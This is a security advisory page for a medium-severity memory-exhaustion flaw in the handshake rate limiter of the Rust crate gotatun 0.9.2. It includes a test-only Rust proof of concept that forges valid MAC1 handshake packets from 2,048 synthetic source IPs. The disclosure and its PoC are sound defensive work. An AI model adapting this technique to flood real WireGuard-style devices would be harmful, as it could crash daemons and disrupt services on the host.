# GHSA-M2RR-7RR7-VMP7: Handshake rate limiter retains counters for attacker-controlled source IPs

- Database: GitHub
- Severity: medium (stated by ghsa, no CVSS score)
- Published: 2026-10-15
- Modified: 2026-10-16

## Affected versions

- gotatun (crates.io): 0.9.2

## Description

### Summary

Valid-MAC handshake packets from new source IPs create entries in an in-memory map before peer authentication. When no peer has an endpoint, the peer timer loop does not reach the normal reset path, so entries can accumulate without bound and exhaust process memory.

### Details

In gotatun/src/noise/rate_limiter.rs, is_under_load inserts the packet source IP into ip_counts.counts after validating MAC1. The MAC1 key is derived from the device public key, so a sender can construct packets that pass this check without possessing a peer key. The map is cleared by try_reset_count, but the device timer loop skips peers with no endpoint before calling update_timers. With no endpoint-owning peer, this cleanup path does not run. HashMap::clear() also retains its allocated capacity. The latest published release 0.9.2 is affected; the same code is present in the reviewed main checkout at 8a92ace. Earlier releases have not been exhaustively checked, and no fixed version is known.

### Proof of concept

This test-only reproduction uses no sockets and sends no network traffic. Add the module below to gotatun/src/noise/rate_limiter.rs, then run it from the repository root:

```sh
cargo test -p gotatun --no-default-features --features device,tun,ring --lib audit_poc::valid_handshakes_from_new_ips_accumulate_across_reset_periods -- --nocapture
```

```rust
#[cfg(test)]
mod audit_poc {
    use super::*;

    #[test]
    fn valid_handshakes_from_new_ips_accumulate_across_reset_periods() {
        let key = crate::x25519::PublicKey::from([7u8; 32]);
        let limiter = RateLimiter::new(&key, 100);

        fn valid_init(limiter: &RateLimiter) -> Packet {
            let mut bytes = vec![0u8; 148];
            bytes[0] = 1; // WireGuard handshake initiation
            let mac1 = b2s_keyed_mac_16(&limiter.mac1_key, &bytes[..116]);
            bytes[116..132].copy_from_slice(&mac1);
            Packet::copy_from(bytes.as_slice())
        }

        for i in 1..=1024u32 {
            let addr = SocketAddr::new(std::net::Ipv4Addr::from(i).into(), 12345);
            assert!(limiter.verify_packet(addr, valid_init(&limiter)).is_ok());
        }

        std::thread::sleep(RESET_PERIOD + Duration::from_millis(100));

        for i in 1025..=2048u32 {
            let addr = SocketAddr::new(std::net::Ipv4Addr::from(i).into(), 12345);
            assert!(limiter.verify_packet(addr, valid_init(&limiter)).is_ok());
        }

        let counts = limiter.ip_counts.lock();
        assert_eq!(counts.counts.len(), 2048);
        let allocated_capacity = counts.counts.capacity();
        drop(counts);

        limiter.try_reset_count();
        let counts = limiter.ip_counts.lock();
        assert!(counts.counts.is_empty());
        assert!(counts.counts.capacity() >= allocated_capacity);
    }
}
```

The test creates valid MAC1 values with the limiter's public-key-derived key for 2,048 synthetic source IPs, across the normal reset interval. It verifies that entries still accumulate after the interval and that an explicit reset leaves the allocated map capacity retained. The device-level condition is that no peer has an endpoint, so the periodic peer timer does not invoke this reset path.

### Impact

An unauthenticated sender who can present traffic from many distinct source IPs can grow the device’s in-memory counter map over time. Memory exhaustion may terminate the daemon or degrade other services on the host. Exploitability depends on the attacker’s ability to supply diverse source addresses; network filtering or anti-spoofing may limit that ability.

## References

- https://github.com/mullvad/gotatun/security/advisories/GHSA-m2rr-7rr7-vmp7

Page: https://cve.now/GHSA-M2RR-7RR7-VMP7

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
